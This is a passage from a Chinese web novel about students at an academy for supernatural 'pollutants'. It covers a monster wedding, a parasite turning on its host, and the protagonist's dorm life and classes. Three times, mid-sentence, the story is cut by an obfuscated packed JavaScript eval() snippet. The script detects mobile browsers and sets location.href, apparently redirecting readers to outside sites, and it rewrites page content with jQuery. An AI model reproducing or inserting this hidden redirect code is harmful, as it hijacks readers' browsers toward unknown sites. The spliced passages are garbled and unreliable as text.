这一刻他和张色合二为一,不分彼此,恨与爱交杂而成的磅礴情感被共享、被转移。 “吉时已到,新郎闯门!” 门外尖叫的强调怪异嘶哑,和喻连枝的笑声重叠在一起。 “请回答三个问题,第一……呃……第……嗬嗬……” 女人话没说完就被吞噬了,听这动静,似乎有人要闯进来。 谁啊? 烦死了。 喻连枝的目光落在自己手上,眼球控制不住地震颤,水果刀由银白色浮游生物组成,闪着刺目的寒光。 刀尖锋利,没入人体时传来轻微阻碍感,但有鲜血的润滑之后又非常轻松。 他不知疲惫地挥动手腕,下一瞬,手腕被人扣住,停滞于半空。 空气霎时寂静,只有喻连枝急促的呼吸声。 场景迅速褪去。 ……张色? 眼前的人不是卫兰银,而是张色,身上有十几处刀伤,伤口里流出汩汩果浆。 “够了。”制止他的人声音淡漠。 喻连枝回过头,银白色的眼睛有种无机质的冷,和脸上的红色果浆对比鲜明。 “放开。” 符停松开手,“你不该出现在任务地点。” 喻连枝手中由浮游生物组成的刀子散开,揉着手腕呛道,“管这么多,你哪位啊?” “无理由私自进入任务地点、无证吞噬,将会处罚禁闭室……” “你啰嗦了。” 符停:“……” 喻连枝耸了耸肩,侧身,张色已经不见了,地上一小串延伸的蛇莓枝条,“看吧,他跑了,都是你的错。” 他擦了擦脸上的果浆,不断起伏的胸膛稍稍平息。眼底的银白不见,重新变回清凌凌的漆黑瞳孔。 心头憋着一股无名火,和上次一样,但这次喻连枝竭力控制住了。 “别人生气我不气,气出病来无人替,我若气死谁如意,况且伤神又费力……” 符停听不清他在喃喃什么,遂看了一眼。 喻连枝:“我在诅咒你。” 符停道:“随意。” 装货。喻连枝在心里冷笑,缓缓吸了一口气,转移自己的注意力。 又挂机了。 每次经历完别人的“回忆杀”之后,他才能控制自己的伴生物,然后反杀。污染物基础课程上,何教授说污染物的力量源于“痛苦”,难道说,他能把别人的痛苦转化为自己的力量输出?极有可能。 好吧,确诊为充电宝。 “其他人在哪儿?”符停问。 喻连枝情绪尚未发泄完,说话夹枪带棒,“你问我,我问谁?” 当然,也有故意阴阳死敌的成分在,他看符停很不爽。 每次出场都是处罚这个处罚那个,学生会主席而已,真把自己当地府判官了? 符停转身离去。 “诶!” 喻连枝左右看了看浆果屋子,越看越觉得像鲜活的人的血肉,打了个寒颤,还是跟上了符停的脚步。 出了浆果屋,天空由粉转黑。 几个高速飞行的身影在空中交战,特别像是动漫里的打斗场面。 忽然,黑色人影被巨蛇击中,摔了下来,滚了两圈。 “影哥?!” 喻连枝吓得魂飞魄散,连忙跑过去扶起杜影,手却从对方身体里穿了过去,“这是……什么情况?” 杜影的异变体是一团黑,如果不是身上的绷带,恐怕躺在地上都没人能发现。 “带我去阴影里。”杜影艰难开口。 喻连枝小心地举着他,挪到角落。 “你还活着。”杜影有些欣慰,缩成一团,“会长,【银蛇】已经失去人的意识了。” 符停居高临下地嗯了一声。 污染领域展开,乌云席卷,雷声轰鸣,薄空朦和沈青对视一眼。 沈青连连后退,“救兵已到,撤。” 薄空朦腾云驾雾地下来,勉强维持住一半人形,另一半化为白雾,形同鬼魅,“这次,能见识符停的异化形态和伴生物么?” 显然不能。 诡异的黑沉重地笼罩所有光线,伸手不见五指,只能听到某种不可名状的痛苦嚎叫在风中穿梭。 两个超三级污染物的对决。 太恐怖了,一切光源黯灭。【银蛇】仿佛被什么东西捏住,喉管里喷出凄厉的啸音。它粗壮的尾巴只需要一甩,轰隆隆——天台碎裂,砖块往下坠。 威压之下,所有污染物瞬间沦为异变形态。 沈青脖子上顶着一颗硕大的灯球,本该是泛光的,此刻竟然被漆黑的马赛克笼罩。 地动山摇,喻连枝犹豫地说了句:“不会误伤到我们吧?” 其他三人循声望去,只见喻连枝的眼底泛着点点荧光,在黑暗之中如同微小的萤火虫。 照不清周边的环境,却暴露了自己的位置。 “呜啊啊啊啊啊——” 萤火虫上天了。 喻连枝脚底一空,如同坐上跳楼机,原地起飞。 【银蛇】的鼻息喷在背后,裹挟着血腥味,“不想打了,我投降。” 污染物学院采取颇具人情味的学院派处理方法,【银蛇】虽然造成了人员伤亡,但并非罪大恶极。 他一旦投降,符停没有理由杀他。 卫兰银安静下来,他的伴生物也停止了攻击。 “我……我找到了,他,找到了……我的新娘。” 青年声音沙哑颤抖,压抑着极大的惊喜。 符停站在天台边缘,衣角猎猎作响,他思忖片刻收回领域。 天边泻下一束红光,勾勒出【银蛇】的轮廓,待光完全亮起来,人身之上的蛇头已被一个俊气的青年面庞取代。 而他的手中,拎着因为恐高差点心脏骤停的喻连枝。 符停眉头微微锁住,“他是新娘?” 喻连枝不敢置信:“我是新娘?” 卫兰银摇头,“当然不是。”他伸出手,从喻连枝的耳后拔出一小根绿色花茎,顶端长着一颗幼小的蛇莓。 好家伙,这小张色真能藏啊。 “两个污染物。”符停顿了顿,“不对,不算两个。” 沈青更是一惊,“寄生体?!” 蛇莓太脆弱了,在这么多强大污染物面前,甚至无法显露人形。 卫兰银如获珍宝,“他叫张色,是我的爱人。” 符停道:“你尚存人性,污染物学院将会对你们采取收容措施。” “我会跟你走,但我有一个请求。” “说。” 卫兰银抬眸,“我想邀请各位见证我们的婚礼,之后要杀要剐,坐牢还是死刑,都没有异议。” “可以。” 符停微微颔首,满足污染物的夙愿,可以稳定它的人性意识。 “这位小兄弟,”卫兰银对着喻连枝说,真挚恳求,“麻烦你当一下婚礼司仪。” “我、我不专业。” “没关系。” 卫兰银缓缓来到地面,一条小蛇从他的袖口游出,绕在喻连枝脖子上。 喻连枝身体紧绷。 哒咩啊—— 细蛇变成了一串做工精巧的银项链,这下好多了。 卫兰银转向符停,“婚礼结束,我会放开他。” 喻连枝恍然大悟,“原来我是人质。” 符停维持着装货的样子,“随意。” “多谢各位配合。”卫兰银将莓果合在掌心。 楼层坍塌,众人在蛇群中下陷,一直到了一层。 这些忙碌的施工小蛇组成了一处恢宏大气的厅堂,张灯结彩,四处贴着红色的囍字。 整个婚礼现场采用中式风格,舞台四面垂着深红帷账,古色古香。 喻连枝从一旁拿起主持人手卡,他还是第一次干这种活。 从装饰可以看出卫兰银对这场婚礼筹备良久,一定付出了很多心血,这么一想,喻连枝有些紧张,不由自主地摸上脖间项链。 要是他搞砸了,一定会血撒现场。 薄空朦从背后幽幽出现,安慰道:“放轻松。” “哥,我孩怕。” 薄空朦:“别怕,你只是他们play的一环。客人都进场了,我们也该入座了。” 沈青拍拍他的肩膀,“杀手锏,祝你好运。” 一排排红衣女和黑衣男整齐就坐,卫兰银甚至给符停他们安排了位置。 杜影冲他竖起大拇指。 呼。 “尊敬的各位来宾,亲朋好友,大家好……” 喻连枝硬着头皮读完稿子,追光灯亮起,门两侧黑衣男拉开大门,迎接新郎新娘入场。 两人都是古代婚服,卫兰银神色温柔,嘴角含笑。 喻连枝的目光落在张色身上,头皮发麻。 虽然已经见过一次了,但现在光线充足,看得更加清楚。张色的皮肤上长满坑坑洼洼的红色颗粒,皮下汁水丰盈,好像浑身长满水泡。 0.5级污染物:【蛇莓】 这对新婚燕尔走到台子中间。 喻连枝拿起手卡,“卫兰银先生,你是否愿意和张色先生结为夫夫,无论贫穷还是富有,一生不离不弃。” 卫兰银道:“我愿意。” “张色先生,你是否愿意和卫兰银先生结为夫夫,无论贫穷还是富有,一生不离不弃。” 喻连枝屏住呼吸。 他感受过张色的“痛苦”,爱恨交织,酸涩难懂。 全场的目光聚焦于这位并不漂亮的“新娘”身上。 张色张开嘴,鲜红的果浆涌了出来,“我……愿意。” 喻连枝抿了抿嘴,继续走流程,“下面,请二位取出钻戒,为彼此戴在无名指上。” 卫兰银托着张色的手,“我一直等待着这一天终于,我们将永远在一起,不会再分开了。” 戒指从指尖滑到指根,张色的手指因为异化而肿胀,莓果皮层裂开,露出里面的果肉。 他垂下手,果浆一滴滴往下坠,没入红地毯,留下深色的印记。 “轮到……我……了……”张色扬起脸。 “别动!”沈青拍案而起,“寄生体,他要杀了宿主!” 晚了一步。 张色十指延长,长出细细的藤蔓,毫不留情地捅入卫兰银口中。 藤蔓扎根于体内,贪婪地吮吸血液,一泵一泵的液体将输液茎撑出鼓包。 与此同时,【银蛇】伴生物被同化,四周墙壁上长出灌木,结出一颗颗果实。 【银蛇】污染等级持续下降。 反之,【蛇莓】污染等级上升,到一级了。 符停毫无波澜地注视着台上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622972|156215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的新人夫夫,“【青衣摇】,控制局面。” “会长,您把我当驴使呢?” “寄生体具有非常高的研究价值,不能吞噬,务必活捉。” 这才是他同意【银蛇】完成婚礼的真正原因。 寄生体污染物,藏在宿主污染领域内,可随处游走,难以捕捉,有时候连宿主都无法察觉到它的存在。 当寄生体按捺不住反噬宿主,它会变强,但在此过程中,它也无法逃脱。 沈青抱怨了一句,随即咬牙展开污染领域。 喻连枝脖子间的项链已然变成枝条,越收越紧。 场面混乱。 【青衣摇】领域内鼓点躁动,舞台中心悬着一颗巨大的灯球。 全场宾客起立,他们皮肤溃烂,有的冒出细蛇,有的长出果实,不管长得有多么恶心,都跟着沈青摇摆。 好歹是停止了纠缠吞噬,稳住了。 动次打次动次打次。 喻连枝眼前一亮一黑一亮一黑一亮一黑。 人家秋雅结婚,你搁这又唱又跳! 灯球底下,卫兰银保持不住人形,异化为一颗蛇头,紧紧拥住张色。 “别离开我,别离开我,别离开我……” 张色无情推开,因为吞噬了部分【银蛇】的力量,脸上的汁囊消了下去,“你让我感到恶心,卫兰银。” 喻连枝操控浮游生物凝成一把小刀,切断枝条,大口喘气。 沈青朝他吼道:“杀手锏,上!” 上?! 喻连枝呼吸一窒。 别叫我杀手锏,我是被打脸、遭天谴、生命即将走到终点。 符停不知何时走到身侧,目光沉沉,“我出手,他们必死无疑。” 喻连枝:?? “不是哥们儿,都什么时候了,还装b呢?” 符停道:“寄生吞噬过程无法打断,只有你的能力能试一试。” 喻连枝果断地说:“我无能为力。” “这是命令。” “……我,”喻连枝看向昏迷的杜影和薄空朦,他们已经彻底精疲力尽,“我不确定,我控制不了自己的伴生物。” “你必须确定,保住珍贵的研究材料。” “你TM……” 不能骂人。喻连枝缓缓抬手,深呼吸。 光点在指尖凝聚,他用意念引导浮游生物——张色张色张色张色…… 浮游生物不为所动,喻连枝如何甩手,它们都稳稳呆在指尖,不舍得离开。 他操控不了自己的伴生物。完了,按照这个状态,必定要挂科。 符停的脸上看不出什么表情,淡淡道:“集中精神,保持痛苦。” “……” “痛苦,是第一驱动力。” “……” “我说的话你有再听吗?” “……幻听。” 喻连枝努力代入张色的状态,肾上腺素飙升,光点开始震颤,下一秒,如离弦之箭,带着鸣音飞了出去。 成功了。 一半。 光点没入卫兰银的眼睛。 靠! 失去意识的前一秒,喻连枝狠狠咒骂符停,都怪他,老打岔! …… …… …… “我当然喜欢你了。” “我非你不可。” “我会爱你一辈子。” 张色信誓旦旦地保证,脸上有种不谙世事的单纯。 卫兰银只感觉心脏软软的,“嗯,我知道。明天我去帮大哥抢地盘,晚点回来。” 张色眉开眼笑,“好呀,注意安全。” “嗯。” 喻连枝被甜得牙疼,可惜男人的嘴骗人的鬼,场景切换得很快,突然又被虐得心塞。 卫兰银带着满身的伤回家,眼圈被揍黑了一片,即便如此,他还是去买了张色最爱吃的甜品,草莓味奶油蛋糕。 打开门,卧室里传来两个人的声音。 张色说:“你不是说自己是集团富二代嘛,可要负责,我本来不喜欢男人,都是被你掰弯的。” 卫兰银愣在原地。 喻连枝和他情感共频,心脏栓栓的。 “我哥要回来了,你快走吧。” 卫兰银推看门,看到两人在穿衣服。 蛋糕掉在地上,可爱的造型摔成一坨。 “你们、在干什么?” 张色面上滑过一丝慌乱,“怎么回来得这么早,哥。” 油腻的富二代自以为帅气地咧开嘴,“原来是哥,令弟可爱极了。” 他衣衫不整地被卫兰银扔到门口,才发觉不对劲,破口大骂。 砰—— 门关上了。 张色吞了吞口水,“他家里很有钱,你别拉我下水……” 卫兰银单膝跪地,眼眶通红,“解释。” “我出轨很多次了,没什么好解释的。” “不,解释。” 张色破罐子破摔,“你给不了我想要的生活,我想开跑车,想住别墅,和你窝在这个老小区让我感到恶心……” “嗯。” “我只是为了你拿笔奖金,现在你没钱了。” “嗯。” 卫兰银转身,从沙发后背拿出藏着的镣铐,默默锁在张色的脖子上,动作很坚决,“在你第一次抛弃我的时候,我就买了这些,却一直舍不得锁住你……对不起,阿色,我只是太爱你了。” “你疯了?要干什么?!” “我不会让你离开的。”卫兰银锁住链子的另一端,站起身,“绝不。” 20. 第二十章 他的痛苦是压抑的疯狂。 喻连枝感觉脑门上有一根筋猛跳,情绪如同即将爆发的火山。 但卫兰银忍住了,在张色泪痕斑斑的脸上留下一个吻。 之后的一个月,他白天筹备婚礼,晚上和愈发乖巧的张色相拥而眠,喻连枝替他们守夜。 直到婚礼前夕。 提前看过结局的喻连枝呼吸困难,视角的转化令人不适。当和张色情感共频时,他确实货真价实地厌恶卫兰银;现在又和卫兰银共频,两股敌对的情绪在拉扯。 累了,毁灭吧。 银白色浮游生物幻化而成的小人一点点散开。 回忆杀再次停留在刀尖没入卫兰银心脏的刹那。 红色的血液流了一地,凝聚成水洼。 沉默的、畸形的、固执的恨意和爱意最终喷发,这些歇斯底里的爱恨凝成实质,岩浆般涌向喻连枝。 周围环境在褪色,色彩被扭曲成漩涡,而旋转的中心,是卫兰银,也是他。 原来被捅死是这种感觉,心脏被无限放大,天地间只剩自己的心跳。 生命流失之际,他伸出手,摸了摸张色的脸庞。 “跑吧。” 跑吧,不要再回来。 喻连枝平躺着,感受温热的血液渐渐冰凉,脚边突然出现一双黑色皮靴,没有任何脚步声。 一双手替他合上眼睛。 这人的手上有粗糙的茧,指缝间留存着廉价香烟的熏呛味。 总算结束了。 大量的痛苦转移,脱离人物身体。 喻连枝骤然睁开双眼,眼底银白色的浮游生物吃饱喝足,异常活跃。 张色身后的藤蔓将他托起,淬了毒的眼神横飞而来,“是你干的?我怎么吞噬不了他!” 喻连枝缓缓走近,面无表情。 他强压着心底的暴戾,垂下眼。 卫兰银的瞳孔涣散,两颊深陷,形如干尸。 “你干了什么!”张色不甘心地尖叫。 “嘘。”喻连枝竖起手指抵在唇前,“很抱歉,他的痛苦先被我吸收了。” 【银蛇】相当于一个巨大的痛苦容器,【蛇莓】破开了一道口子,用枝条汲取力量。没想到喻连枝先他一步,张开血盆大口,堪称豪饮。 这就是霸道型充电宝的威力。 张色瞠目欲裂,“就差一点,就差一点了!他是我的!他的力量也是我的!!!还给我!!!” 结着莓果的藤条疯了似的甩向目标。 “超一级污染物。”喻连枝勾起嘴角,眼神冷寂。 浮游生物组成一道坚硬的盾墙,触及到亮光的藤条瞬间蒸发。 “不堪一击。” “这不可能!!!不可能!!!” 他越走越近,伸出手,拧住张色的脖子,“别叫。” “你到底……是什么东西……之前也是你!偷走了我的力量!你究竟是什么?!” 闻言,喻连枝笑了,“不管你信不信,我真的是人。” 他的手越掐越紧,仔细看却并没有和张色的肌肤贴合,中间阻隔着一层微光。 天色大亮。 这群浮游生物无情切割,并贪婪地吃掉了天花板,仍在以极快的速度向下蚕食。 张色忽然停止了挣扎,呆呆地望着天空,嘴唇动了动。 可惜他的声音已经模糊不清,喻连枝没能听到他说了什么。 “遗言?” 张色说不出话来,眼皮慢慢合上。 “停下。”身后,符停制止道,“他有用处。” 喻连枝没转身,背对着他说:“你说不杀就杀,我岂不是很没面子。” “你想怎么样?” “这样吧,”喻连枝顿了顿,语气恶劣,“求我。” 沈青倒吸一口凉气,明哲保身,他选择装晕。 符停道:“你蓄意毁灭学院的研究资料,将会受到惩罚。” “随意。”他将这两个字还了回去。 另一道声音虚弱响起:“我求你……别……别杀他……” 喻连枝挑了挑眉,看向卫兰银,“你竟然还没死?” 卫兰银摇头,气若游丝,“求你……别杀张色……别……” “行吧。”喻连枝松开手,张色落到地上,他啧了一声,“烦死了,我成了你俩的感情垃圾桶。” 他可以体会爱与恨,却只能吸收恨,真的很不公平。 浮游生物从身体里发散,继续吞噬伴生物。第三回了,喻连枝能控制了一些,银白色绕过其他人,将整个幻境吃完,也刚好消耗殆尽。 幻觉剥脱之后,还是在曼哈屯小区。 一栋一零一室。 这里丝毫看不出命案现场的痕迹,只有和“回忆杀”里一模一样的桌椅板凳,茶几上放着一块草莓奶油蛋糕,床上蜿蜒着一根极长的铁链,床下是干涸的血迹…… “还真是一模一样。” 喻连枝抬腿离去,力气仿佛被抽干,脚下一软,他下意识地去拉身边的人。 符停一个侧身闪了过去。 砰。 脑袋磕到门边,随后整个人倒在地上。 符停,shit! — “身体检查一切正常,就是累着了,然后心情波动太大,简称心累了。” 手机屏幕上,玛丽亚.E发出机械的笑声。 “呵呵,您还是这么幽默。” 校医露出一个得意的笑,走到另一个病房,“不比当年啦。这三位同学就是普通的领域展开过度了,回去休息几天,建议去骨肉食堂补一补。” 薄空朦已经醒了,坐在病床上,“【连理枝】还没醒么?” 玛丽亚.E道:“不用担心,他没事,请同学们先回寝室。” “好的院长。” 薄空朦也没多说什么,睡了一觉其实已经好多了,下床就和没事人一样。 杜影问:“后来发生了什么?” 沈青支支吾吾,“没……就是【银蛇】领域内有个寄生体,叫【蛇莓】,然后被【连理枝】解决了。” “哦,”杜影难得好奇,话多了些,“怎么解决的?” “总之就是、就是……换了个人似的,”沈青摆了摆手,“别问我,我也晕倒了。” “好吧。” 三人走到十字路口分道扬镳,沈青需要处理秘书处的工作,薄空朦身为部长需要查看递交上来的入部申请,至于杜影……杜影需要回去看《甄嬛传》。 他回到寝室,空无一人,也不知道【连理枝】醒了没有…… 校医院。 污染物学校的校医部非常高端,据说里面藏着三甲医院都没有的昂贵医疗器械。 喻连枝转醒,头上顶着一个肿包,回想起了某些不愉快的记忆。 校医眯着眼睛,笑容可掬,给他换了一个冰袋。 “今天先冷敷消肿,二十四小时候再热敷,饮食避免辛辣刺激,问题不大。” 喻连枝懵懵地点头,“谢谢医生。” “诶,”校医扯了个凳子坐下,“你头上的伤怎么弄的?” 肯定不能说是自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14622973|156215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己摔的,不然多没面子。他清了清嗓,“和污染物打架打的。” “天呐,可惜我们校医部去晚了,什么也没看见。” “唉,那个【蛇莓】挺厉害的……” 叩叩。 “医生,”门外有人询问,“在吗?” 校医说:“直接进来吧。” 喻连枝看清来人,意外道:“史莱姆兄?你病了吗?” 史钟扭捏地绞着手,支支吾吾,“没……” “哦,你们认识呀。”校医哈哈大笑,“这位小同学来心理治疗的,他异变状态不稳定,和抗压能力有很大关系。” 喻连枝点头,“原来如此。” 史钟放松了些,校医还是挺有医德的,没把他被同班同学吓着的事情说出来。 “对了,帘子,明天要上必修课,你记得去444拿课本。” 喻连枝一拍脑袋,疼得龇牙咧嘴,“嘶——差点把这事儿给忘了。” 污染物基础课程属于专业课,主要考核内容是实际操作方面的,必修课则是学习纯理论知识。 史钟和校医做心理辅导去了,喻连枝起身穿上外套,顶着脑门上的包下楼,轻车熟路来到444。 涂乐意坐在位子上。 走近些看,他瞠目结舌。 怎么都大学了还有人会预习啊?! “班长,你也太卷了。” 涂乐意抬起头,扶了扶鼻梁上的眼镜,“我这叫笨鸟先飞,不卷就得死,毕竟比你有天赋的人还比你努力,都借着代课学习去了。” 喻连枝没听出言外之意,咂嘴,“你这是报名成功学的课程了?” 涂乐意低下头,“教材在讲台上,就剩你没领了。” “哦,好。”喻连枝走上讲台,随意翻了翻,有些傻眼。 《思修》、《马原》、《毛概》、《形势与政策》……? 好现实。 意料之外,情理之中。污染物大学生也是要树立正确的世界观、人生观、价值观的。 底下压着基本才是专业必修教材:《污染物概论》、《污染物心理学》、《污染物新型收容法》…… 画风正常多了。 喻连枝刚抱上书,忽然想起了什么,从衣服口袋里摸出一张单子,“班长,人外保险还能交吗?” 涂乐意道:“刚好卡在最后一天。” “太好了太好了。”喻连枝在保险单末端签上名字,“以前是我不知好歹,我马上把钱转你。” 打开vx,笑容僵在脸上。 天杀的我钱呢! 【银蛇】【蛇莓】,狗男男! “班长,晚点交行么,我被敲诈勒索了。” 涂乐意放下手中的笔,“截止今天晚上十二点前。” “谢谢班长,晚上一定转你!” 当务之急,先去找符停讨债。 喻连枝抱着一堆书回到寝室,杜影窝在床上追剧。 “哥,之前说那个报销的事怎么搞……” 杜影拉开窗帘,“嗯?” “我也不干坏事,就是想拿回本金。虽然说可以找符停那个冤大头套现,但是吧,唉,我是个老实孩子。” “什么冤大头?”寒气逼人的声音在背后炸开。 “……” 喻连枝僵硬地转过身。 符停刚从卫生间出来,摘了黑色手套,手上拿着一颗洗干净的苹果。 人在极度尴尬的时候真的会控制不住自己的嘴。 喻连枝嘴角抽搐,“哦哈哟会长,你是来借厕所的吗?” 21. 第二十一章 既世界上最不幸的事发生后。 世界上最不幸的人也诞生了。 符停不说话,只看着他,眼神冻成冰霜。 喻连枝不想落入下风,压了压嘴角,摆出一副无所谓的姿态。 “笑死,我也不是很缺钱。” 杜影探出头,道:“可以在学校官网学生中心申请。” “好。” 符停垂眸,面无表情,“账单。” “笑死,也不是很想……啊?”喻连枝反应过来,麻溜地点开手机,“总共2250。” “学号。” “20250006。” 叮咚——您的校园卡收入五千元。校园卡?就是那个一人一户,全球通用,还可转出提现的校园卡! 喻连枝张了张嘴,目光移到符停脸上,在棺材脸上看出点人傻钱多的帅气。 金钱,仇人最好的医美。 他宣布停止讨厌符停一个小时。 但下一句话,立刻粉碎了刚建立起的滤镜。 符停:“你违反校规条例,违规代课,学生将会给予你相应处罚。” “惩罚?又是什么惩罚?” 符停想了想,“学生会要进行讨论,决定合理的惩罚裁量。等通知。” 呵呵。 还等通知?小牌大耍啊你。 看在五千块钱的面子上,喻连枝哦了一声,坐回位子上。每次吸收完“痛苦”时他控制不住脾气,但现在可是很冷静,不是因为理智,而是因为……有一点点小窝囊……毕竟学生会权势滔天,还能扣人学分呢(→_→) 喻连枝跷着脚打开手机,把保险费转给涂乐意,然后收到了【灾厄】的消息。 【灾厄】:在? 他直起身子,有点意外,两天没联系,这闷葫芦居然学会找话题了? 【帘子】:熊猫头(皇帝驾到,跪——) 【灾厄】:什么意思? 【帘子】:不玩抽象你真的会失去很多乐趣 【灾厄】:。 喻连枝脑补到对方痴傻的样子就想笑,开了一包甜甜辣辣章鱼足,咬了一根。 【灾厄】:你加入学生会了吗? 怎么又是学生会,阴魂不散的。 【帘子】:没啊,为什么这么问? 【帘子】:我就是条咸鱼,学生会还是算了,好恐怖滴地方~ 【灾厄】似乎犹豫了一会儿,才回了道:不恐怖。 寝室中弥漫着香油味,喻连枝忽然背后一凉,通过桌子上镜子的放光,他看向对床。 符停也背对着他,洗完的苹果放在一旁,好像正在玩手机。 但不知道为什么,空气低了几度。 【帘子】:唉,比起学生会,我现在觉得寝室更恐怖(猫猫头表情包:老天爷啊!) 【灾厄】:怎么? 【帘子】:和死敌同寝室了怎莫办,尴尬到窒息,你不会明白的(乌萨奇表情包:横扫生命,做回尸体) 【灾厄】:我明白。 【帘子】:你也是?! 【灾厄】:嗯。 喻连枝激动地前后摇摆,同是天涯沦落人,只有【灾厄】能和他感同身受!他打开了话匣子,隐去人名和特征,把符停吐槽了个遍。 【帘子】:他真是太能装了,每次都故意挑我的刺,给我泼脏水! 【灾厄】在喻连枝的影响下,话也多了起来,第一回开始分享自己的事情。 【灾厄】:他总是惹是生非,给我增加工作量,还制造肢体接触。 【帘子】:我靠!不能忍啊!他是gay吧?! 【灾厄】:……不清楚。 杜影看完一集,摘下耳机,寝室里没有一点声响,他低头看,两个室友都拿着手机打字,界面一模一样,手指快得只剩残影。 这俩人,好奇怪。 吐槽完,喻连枝冷静了下来,这段时间积压的苦水一吐为快,心情愉快了不少。 【帘子】:你说我要不低个头算了?都是同寝室的哥们,毕竟要相处四年,抬头不见低头见,总不能一直争锋相对。 【灾厄】:嗯。 【帘子】:当普通同学也比当仇人好。污染物都挺阴暗的,指不定哪一天就酿成大祸了。 【灾厄】:对。 【帘子】:我先试试能不能和解。 喻连枝又摸出几包甜甜辣辣章鱼足,先给了杜影,然后磨蹭着走到符停身后。 “那个……” 符停唰得一声转过来,静静看着他。 这次居然没耍大牌。 喻连枝扬起笑脸,露出标准的六颗牙齿,“会长,你吃章鱼足吗?” 符停:“……” “呃……你不吃?海鲜过敏?” 刺啦—— 凳脚和地面摩擦发出尖叫。 符停胸口起伏,倏忽站起,从鼻腔挤出一声冷哼,随后大步离开了寝室。 喻连枝无措地立在原地,拿起手机。 【帘子】:失败了,他不理我QAQ 杜影举起手,“我还想要。” 喻连枝呆呆地走过去,仰视他,“影哥,我做错什么了吗?” “你,”杜影组织语言,“会长他海鲜过敏,尤其是对……触手。” — 符停没有回寝室。 喻连枝洗完澡,长呼一口气,有些庆幸。 还好符停不在,不然他真的无法保证自己的拳头不飞到符停那张脸上。 第二天课程排得很满,早上八点是英语课,接着上《污染物概论》。 喻连枝迷迷瞪瞪地出门,连吃早饭的时间都没有,拿着书本直奔教室。 史钟替他占了座,“你看起来没睡醒的样子。” 喻连枝趴在桌子上,眯着眼道:“我要是看起来睡醒了,那不就迟到了吗?” “熬夜了?” 一提起这个他就来气,本来准备入睡,花添错不知道哪根筋搭错了,突然发来吃鸡开黑邀请,于是二人在海岛激战到凌晨。 “唉,当了一晚上精英……” 正说着,万恶之源踩着上课点飞奔过来,一屁股在旁边坐下了。 喻连枝:?? 花添错嘴里叼着吃了一半的肉包,“看我干嘛?给你发信号了楼上有人,你不听,就硬贪……” 喻连枝打断他,“哥,这是大一的课。” “我知道啊。”花添错理直气壮,“挂科了。” 史莱姆插了一句,“英语课需要全程英语交流,很难的。” 讲台上的白皮外教开始做自我介绍,一口叽里呱啦的英式英语,大致意思是……没听懂。 喻连枝在高中英语还算不错,但面对如此正宗、流利、快速的听力,还是有些茫然,只捕捉到了几个关键词:考试难度、重要、无限次数重修…… 他低声问花添错,“挂这么多科不会出事吗?延毕什么的……” 花添错耸肩,“I don''t car。” “……” “我口语不错吧?” “那是care。” 花添错查完手机,眼睛一亮,“难不成你是学霸?!” 喻连枝:“……我不是。” 喻连枝强打起精神,认真听完课程,不得不说普鲁圣的师资力量强大,一节普普通通的英语课也让人受益匪浅。 下课后,有半个小时的休息,喻连枝困得不行,提议去食堂买杯咖啡。 到了食堂,他才发现“灼光甜品店”没开门,卷帘门上贴了一张告示。 “店休:老板有事需要休息,三天后正常营业。 落款:污染物学院学生会” 史钟凑近,小声嘀咕:“别看了,快走,这不吉利。” “李教官生病了?” “不是不是。”史钟道,“一会儿再和你说。” “好吧。”喻连枝捧着椰奶拿铁找到上《污染物概论》的班级,这节课的讲师是玛丽亚.E。 “第一章,污染物的定义。” “污染物的定义:污染物是一种存在形态,同时也是一种对于可以精神异化活动的非人类的统称。” “污染物作为一种区别于普通人类的存在形态,因其特殊的产生方式,决定了污染物普遍具有反社会的基本特征。” 这知识也太干了。 敢不敢说人话 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14622974|156215||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ! 喻连枝痛苦地托着脑袋,在书本上写写画画。 非人类、反社会、伤害人类…… 他在画出来的句子旁进行标注:污染物约=厉鬼。 没忍住打开手机,给【灾厄】发了一句。 【帘子】:我**的真是个学术天才! 【灾厄】:嗯。 玛丽亚.E:“第二章,污染物的分类,以主要形态分,可分为:植物类、动物类、物品类、无形态类等等。” “以组成原理分,可分为:独立体、寄生体、嵌合体、阴阳体等等。” 通过玛丽亚.E毫无感情的机械音的解读,这些晦涩的知识更难入脑。 但有个好处,就是人机不管课堂纪律。 大部分人都在低头玩手机,喻连枝控制住自己的手,摁着笔在书本上做笔记,实则已经魂飞天外了。 中午吃什么好呢? 【灾厄】:可以和我聊聊吗? 屏幕亮了,喻连枝放下笔,犹豫了三秒钟。 对不良诱惑勇敢说——我来了! 昨天也不知道【灾厄】经历了什么,就是不回消息,感觉像是自闭了。 【帘子】:咋了? 【灾厄】:有人嘲笑我。 【帘子】:怎么说的?不可饶恕!这么恶毒?我帮你揍他!(刀)(刀) 对面一直显示正在输入中,应该是有些难以启齿。 